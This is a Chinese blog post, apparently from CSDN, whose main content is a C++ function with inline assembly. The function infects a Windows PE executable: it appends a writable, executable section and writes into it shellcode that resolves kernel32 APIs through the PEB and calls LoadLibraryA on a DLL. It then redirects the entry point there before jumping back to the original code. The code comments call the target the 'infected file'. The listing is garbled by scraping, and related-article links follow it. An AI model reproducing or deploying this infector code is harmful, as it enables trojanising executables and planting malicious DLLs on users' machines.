修改exe

最新推荐文章于 2023-09-27 22:13:45 发布
最新推荐文章于 2023-09-27 22:13:45 发布
阅读量695 收藏
点赞数
文章标签： exe image header file module import
版权声明：本文为博主原创文章，遵循 CC 4.0 BY-SA 版权协议，转载请附上原文出处链接和本声明。
本文链接：https://blog.csdn.net/ly402609921/article/details/7837256
版权
修改入口函数地址。这个是最省事的办法，在原PE文件中新增加一个节，计算新节的RVA，然后修改入口代码，使其指向新增加的节。当然，如果.text节空隙足够大的话，不用添加新节也可以。

C/C++ code 
   
   

    
    
BOOL ChangeOEP(CString strFilePath)   
{   
    FILE
    
    *
    
                       rwFile;                     
    
    //
    
     被感染的文件   
    
    

    
        IMAGE_SECTION_HEADER    NewSection;                 
    
    //
    
     定义要添加的区块   
    
    

    
        IMAGE_NT_HEADERS        NThea;                      
    
    //
    
        
    
    

    
        DWORD                   pNT;                        
    
    //
    
     pNT中存放IMAGE_NT_HEADERS结构的地址   
    
    

    
        
    
    int
    
                         nOldSectionNo;   
    
    
    int
    
                         OEP;   
       
    
    
    if
    
    ((rwFile
    
    =
    
    fopen(strFilePath,
    
    "
    
    rb
    
    "
    
    ))
    
    ==
    
    NULL){         
    
    //
    
     打开文件失败则返回   
    
    

    
            
    
    return
    
     FALSE;   
    }   
       
    
    
    if
    
    (
    
    !
    
    CheckPE(rwFile)){                               
    
    //
    
     如果不是PE文件则返回   
    
    

    
            
    
    return
    
     FALSE;   
    }   
       
    fseek(rwFile,
    
    0x3c
    
    ,
    
    0
    
    );   
    fread(
    
    &
    
    pNT,
    
    sizeof
    
    (DWORD),
    
    1
    
    ,rwFile);   
    fseek(rwFile,pNT,
    
    0
    
    );   
    fread(
    
    &
    
    NThea,
    
    sizeof
    
    (IMAGE_NT_HEADERS),
    
    1
    
    ,rwFile);    
    
    //
    
     读取原文件的IMAGE_NT_HEADERS结构   
    
    

    
        nOldSectionNo
    
    =
    
    NThea.FileHeader.NumberOfSections;    
    
    //
    
     保存原文件区块数量   
    
    

    
        OEP
    
    =
    
    NThea.OptionalHeader.AddressOfEntryPoint;       
    
    //
    
     保存原文件区块OEP   
    
    

    
        IMAGE_SECTION_HEADER    SEChea;                     
    
    //
    
     定义一个区块存放原文件最后一个区块的信息   
    
    

    
        
    
    int
    
     SECTION_ALIG
    
    =
    
    NThea.OptionalHeader.SectionAlignment;   
    
    
    int
    
     FILE_ALIG
    
    =
    
    NThea.OptionalHeader.FileAlignment;   
    
    //
    
     保存文件对齐值与区块对齐值   
    
    

    
        memset(
    
    &
    
    NewSection, 
    
    0
    
    , 
    
    sizeof
    
    (IMAGE_SECTION_HEADER));   
    fseek(rwFile,pNT
    
    +
    
    248
    
    ,
    
    0
    
    );                            
    
    //
    
     读原文件最后一个区块的信息   
    
    

    
        
    
    for
    
    (
    
    int
    
     i
    
    =
    
    0
    
    ;i
    
    <
    
    nOldSectionNo;i
    
    ++
    
    )   
        fread(
    
    &
    
    SEChea,
    
    sizeof
    
    (IMAGE_SECTION_HEADER),
    
    1
    
    ,rwFile);   
       
    FILE    
    
    *
    
    newfile 
    
    =
    
     fopen(strFilePath,
    
    "
    
    rb+
    
    "
    
    );   
    
    
    if
    
    (newfile
    
    ==
    
    NULL){   
        
    
    return
    
     FALSE;   
    }   
    fseek(newfile,SEChea.PointerToRawData
    
    +
    
    SEChea.SizeOfRawData,SEEK_SET);   
    
    
    goto
    
     shellend;   
    __asm   
    {       
shell:  PUSHAD   
            MOV  EAX,DWORD PTR FS:[30H]     ;FS:[30H]指向PEB   
            MOV  EAX,DWORD PTR [EAX
    
    +
    
    0CH]    ;获取PEB_LDR_DATA结构的指针   
            MOV  EAX,DWORD PTR [EAX
    
    +
    
    1CH]    ;获取LDR_MODULE链表表首结点的inInitializeOrderModuleList成员的指针   
            MOV  EAX,DWORD PTR [EAX]        ;LDR_MODULE链表第二个结点的inInitializeOrderModuleList成员的指针   
            MOV  EAX,DWORD PTR [EAX
    
    +
    
    08H]    ;inInitializeOrderModuleList偏移8h便得到Kernel32.dll的模块基址   
            MOV  EBP,EAX                    ;将Kernel32.dll模块基址地址放至kernel中   
            MOV  EAX,DWORD PTR [EAX
    
    +
    
    3CH]    ;指向IMAGE_NT_HEADERS   
            MOV  EAX,DWORD PTR [EBP
    
    +
    
    EAX
    
    +
    
    120
    
    ];指向导出表   
            MOV  ECX,[EBP
    
    +
    
    EAX
    
    +
    
    24
    
    ]           ;取导出表中导出函数名字的数目   
            MOV  EBX,[EBP
    
    +
    
    EAX
    
    +
    
    32
    
    ]           ;取导出表中名字表的地址   
            ADD  EBX,EBP   
            PUSH WORD  PTR 
    
    0X00
    
                 ;构造GetProcAddress字符串   
            PUSH DWORD PTR 
    
    0X73736572
    
       
            PUSH DWORD PTR 
    
    0X64644163
    
       
            PUSH DWORD PTR 
    
    0X6F725074
    
       
            PUSH WORD PTR 
    
    0X6547
    
       
            MOV  EDX,ESP   
            PUSH ECX   
               
F1:     
        MOV  EDI,EDX   
            POP  ECX   
            DEC  ECX   
            TEST  ECX,ECX   
            JZ  EXIT   
            MOV  ESI,[EBX
    
    +
    
    ECX
    
    *
    
    4
    
    ]       
            ADD  ESI,EBP   
            PUSH  ECX   
            MOV  ECX,
    
    15
    
       
            REPZ  CMPSB   
            TEST  ECX,ECX   
            JNZ  F1   
               
            POP  ECX   
            MOV  ESI,[EBP
    
    +
    
    EAX
    
    +
    
    36
    
    ]           ;取得导出表中序号表的地址   
            ADD  ESI,EBP   
            MOVZX  ESI,WORD PTR[ESI
    
    +
    
    ECX
    
    *
    
    2
    
    ]  ;取得进入函数地址表的序号   
            MOV  EDI,[EBP
    
    +
    
    EAX
    
    +
    
    28
    
    ]           ;取得函数地址表的地址   
            ADD  EDI,EBP   
            MOV  EDI,[EDI
    
    +
    
    ESI
    
    *
    
    4
    
    ]            ;取得GetProcAddress函数的地址   
            ADD  EDI,EBP         
               
            PUSH WORD PTR 
    
    0X00
    
                  ;构造LoadLibraryA字符串   
            PUSH DWORD PTR 
    
    0X41797261
    
       
            PUSH DWORD PTR 
    
    0X7262694C
    
       
            PUSH DWORD PTR 
    
    0X64616F4C
    
       
            PUSH ESP   
            PUSH  EBP   
            CALL  EDI                       ;调用GetProcAddress取得LoadLibraryA函数的地址   
            PUSH  WORD PTR 
    
    0X00
    
                 ;添加参数“test”符串   
            PUSH  DWORD PTR 
    
    0X74736574
    
       
            PUSH  ESP   
            CALL  EAX   
EXIT:  ADD ESP,
    
    36
    
                               ;平衡堆栈   
       POPAD   
    }   
shellend:   
    
    
    char
    
    *
    
       pShell;   
    
    
    int
    
         nShellLen;   
    BYTE    jmp 
    
    =
    
     
    
    0xE9
    
    ;   
    __asm   
    {   
        LEA EAX,shell   
        MOV pShell,EAX;   
        LEA EBX,shellend   
        SUB EBX,EAX   
        MOV nShellLen,EBX   
    }   
           
    
    
    //
    
     写入SHELLCODE,   
    
    

    
        
    
    for
    
    (i
    
    =
    
    0
    
    ;i
    
    <
    
    nShellLen;i
    
    ++
    
    )   
        fputc(pShell[i],newfile);   
           
    
    
    //
    
     SHELLCODE之后是跳转到原OEP的指令   
    
    

    
        NewSection.VirtualAddress
    
    =
    
    SEChea.VirtualAddress
    
    +
    
    Align(SEChea.Misc.VirtualSize,SECTION_ALIG);   
    OEP
    
    =
    
    OEP
    
    -
    
    (NewSection.VirtualAddress
    
    +
    
    nShellLen)
    
    -
    
    5
    
    ;   
    fwrite(
    
    &
    
    jmp, 
    
    sizeof
    
    (jmp), 
    
    1
    
    , newfile);   
    fwrite(
    
    &
    
    OEP, 
    
    sizeof
    
    (OEP), 
    
    1
    
    , newfile);   
           
    
    
    //
    
     将最后增加的数据用0填充至按文件中对齐的大小   
    
    

    
        
    
    for
    
    (i
    
    =
    
    0
    
    ;i
    
    <
    
    Align(nShellLen,FILE_ALIG)
    
    -
    
    nShellLen
    
    -
    
    5
    
    ;i
    
    ++
    
    )   
        fputc(
    
    '
    
    \0
    
    '
    
    ,newfile);   
           
    
    
    //
    
     新区块中的数据   
    
    

    
        strcpy((
    
    char
    
    *
    
    )NewSection.Name,
    
    "
    
    .NYsky
    
    "
    
    );   
    NewSection.PointerToRawData
    
    =
    
    SEChea.PointerToRawData
    
    +
    
    SEChea.SizeOfRawData;   
    NewSection.Misc.VirtualSize
    
    =
    
    nShellLen;   
    NewSection.SizeOfRawData
    
    =
    
    Align(nShellLen,FILE_ALIG);   
    NewSection.Characteristics
    
    =
    
    0xE0000020
    
    ;   
           
    
    
    //
    
     新区块可读可写可执行、写入新的块表   
    
    

    
        fseek(newfile,pNT
    
    +
    
    248
    
    +
    
    sizeof
    
    (IMAGE_SECTION_HEADER)
    
    *
    
    nOldSectionNo,
    
    0
    
    );   
    fwrite(
    
    &
    
    NewSection,
    
    sizeof
    
    (IMAGE_SECTION_HEADER),
    
    1
    
    ,newfile);   
       
    
    
    int
    
     nNewImageSize
    
    =
    
    NThea.OptionalHeader.SizeOfImage
    
    +
    
    Align(nShellLen,SECTION_ALIG);   
    
    
    int
    
     nNewSizeofCode
    
    =
    
    NThea.OptionalHeader.SizeOfCode
    
    +
    
    Align(nShellLen,FILE_ALIG);   
    fseek(newfile,pNT,
    
    0
    
    );   
    NThea.OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT].VirtualAddress
    
    =
    
    0
    
    ;   
    NThea.OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT].Size
    
    =
    
    0
    
    ;   
    NThea.OptionalHeader.SizeOfCode
    
    =
    
    nNewSizeofCode;   
    NThea.OptionalHeader.SizeOfImage
    
    =
    
    nNewImageSize;   
    NThea.FileHeader.NumberOfSections
    
    =
    
    nOldSectionNo
    
    +
    
    1
    
    ;   
    NThea.OptionalHeader.AddressOfEntryPoint
    
    =
    
    NewSection.VirtualAddress;   
           
    
    
    //
    
     写入更新后的PE头结构   
    
    

    
        fwrite(
    
    &
    
    NThea,
    
    sizeof
    
    (IMAGE_NT_HEADERS),
    
    1
    
    ,newfile);   
    fclose(newfile);   
    fclose(rwFile);   
    
    
    return
    
     TRUE;   
}
ly402609921
关注
  • 0
    点赞
  • 踩
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
一个简单的更改.exe 文件里面的 函数（新手初始试，高手勿喷）
Hani的 编程生活
04-26 2193
这是本人自己
delphi修改exe图标
03-07
在Delphi编程环境中，修改应用程序的EXE图标是一项常见的任务，可以让你的程序拥有独特的视觉标识。这个过程涉及到资源编辑和图标处理。以下是一个详细步骤的介绍，教你如何使用Delphi XE10来更改你的可执行文件...
C++外部程序修改exe文件属性信息
sinat_38626955的博客
03-24 3656
Windows平台可执行文件（execute文件）属性中会有版本信息，包含文件说明、文件版本、版权等信息。本文主要目的是将设置版本信息的方法公开化。 首先我们要清楚Windows下的可执行文件格式属于PE文件格式标准，PE文件标准支持内嵌资源，就是将一个外部文件内嵌到可执行文件中，这样程序启动时只需从自身内部找到这块资源加载就可以了，而不需依赖其他外部的磁盘文件。 PE文件支持的内嵌资源都有两个必须的标识：一个是资源类型，一个是资源名称。因此只要知道内嵌资源的这两个标识就能找到对应的资源。可执行文件的版.
计算机EXE文件改参数,exe文件修改器(eXeScope)
weixin_42223667的博客
07-29 7091
eXeScope是款功能强大的exe程序修改器，能修改exe程序中的字体、菜单位置、对话框排序、字符串、图片资源等，支持exe、dll和ocx文件，常常用作软件工具，可直接修改vc++及delphi编写的程序。eXeScope功能介绍1、exescope 6.50能在没有资源文件的情况下分析，显示不同的信息，重写可执行文件的资源，包括(EXE、DLL、OCX等)。2、exescope 6.50可以...
计算机EXE文件改参数,笔记本专用xp系统修改注册表参数导致exe格式文件无法打开怎么办...
weixin_29589469的博客
07-29 489
很多xp系统用户都知道如果系统感染病毒，会导致exe格式文件无法打开。可是如果系统没有感染病毒呢？有笔记本专用xp系统用户反映他的系统没有感染病毒，却也出现exe格式文件无法打开的情况。这到底是怎么回事呢？其实这可能是因为用户对系统进行优化过程中没意识的修改了注册表的参数，导致只要是打开exe格式文件，就会出现“文件没有与之关联的程序来执行”的提示。那么遇到这种情况我们应该怎么办呢？一起跟小编去了...
VB修改EXE文件图标实现
05-16
内容索引:VB源码,图形处理,图标　利用VB编写的一个小工具，用于实现修改EXE文件的图标，测试抓图如上所示，选择你要更改的EXE文件的址，再选择一个你准备好的图标文件，点击“修改图标”，原EXE文件的图标就被修改成...
EXE易容大师 V1.2一个多功能EXE图标修改器.rar
03-21
EXE易容大师 V1.2 是一款专为Windows操作系统设计的EXE程序界面修改工具。这个工具的主要功能是让用户能够自定义可执行文件（EXE）的图标、文字和其他界面元素，从而改变程序的外观，使其更具个性化或保护版权。在...
EXE特征修改.e
05-13
此源码为易语言。修改EXE特征源码。包括。一键修改图标。类名。标题等等。外部特征。欢迎下载。和学习。
exe程序直接修改文字工具
08-11
有时，我们可能需要修改exe文件中的文字内容，例如更改程序标题或者内部显示的文字，以满足特定的需求。针对这种情况，出现了专门的“exe程序直接修改文字工具”，它可以让我们无需编程知识就能实现这一目的。 这种...
修改EXE窗口工具，破解版
10-28
修改EXE窗口工具，破解版
电脑端exe编辑软件
11-02
电脑端exe编辑软件电脑端exe编辑软件
EXE程序标题内容修改工具 v2.0
04-19
程序标题内容修改
PE修改工具(EXE文件修改器)
06-28
WINXP，WIN7x86,WIN7x64系统下测试通过。（CSDN首发） 一个小工具，可修改EXE文件图标，导出EXE文件图标，EXE文件注入进程，EXE文件注入DLL，合并EXE文件。 注：用于打造个性化EXE文件，只适用于普通32位可执行EXE文件。
pstool 工具
03-20
强大的windows 辅助管理工具，比如修改注册表权限，等等很多强大的应用
PE手工编辑EXE(EXE文件手工编辑过程, PE文件格式,为EP编写的EXE源程序VC工程 )
贺昌锋的博客,， 西安，陕西，Chang Feng He
10-23 1757
PE手工编辑EXE(EXE文件手工编辑过程, PE文件格式,为EP编写的EXE源程序VC工程 ) 本文档最后是,本文档最后是，通过解析一个EXE文件的完整过程，达到对PE文件的学习和理解 1.在ollydbg.exe编辑中， 打开文件EP Test - 副本.exe 滚动到代码段第1行，注意观察00401000 - 0040103C区间的代码： 2.在010 Editor编辑中， 打开文件EP ...
使用Resource Hacker 更改exe文件图标（小白注意）
qq_41707090的博客
09-20 7706
更换exe图标的方法
VB6.0实现修改EXE程序的图标
追逐光芒，追随内心
09-27 1056
当你给一家公司做技术支持的时候，需求各种各样的，其中今天遇到就是要修改某个程序的图标，代码实现如下。'//注 意：这个方法貌似只对有些EXE文件有效，这不是万能的方法，此方法只能做为参考所用。'//参 数：IconFile 图标文件 ExeFile 被修改的EXE文件。'// q1016058890 群 214016721。'//返 回 值： 成功为True，否则False。MsgBox "成功"MsgBox "失败"'//函数说明：修改EXE图标。
如何修改exe文件窗口
最新发布
12-07
要修改一个exe文件的窗口，首先你需要确定你是想修改程序的外观还是功能。 如果你想修改程序的外观，你可以使用特定的软件来修改exe文件的资源。这些软件可以让你修改程序的图标、对话框、菜单等。你可以使用资源编辑器来修改exe文件的资源，例如改变图标、添加菜单等。 如果你想修改程序的功能，你需要拥有源代码或者编程知识。你可以使用特定的编程语言来修改exe文件的功能，比如C++、C#、Python等。通过修改代码，你可以改变程序的行为、添加新功能等。 无论是修改外观还是功能，你都需要小心操作，因为修改exe文件可能会导致程序无法正常运行或者出现错误。另外，修改别人程序的exe文件可能违反软件许可协议和法律法规，所以在进行修改时请务必尊重相关规定。 总之，想要修改exe文件的窗口，你需要选择合适的工具或者编程语言，小心操作，确保不会损坏程序，同时遵守相关的法律法规和软件许可协议。
评论
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付：10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明：

1.余额是钱包充值的虚拟货币，按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载，可以购买VIP、付费专栏及课程。

余额充值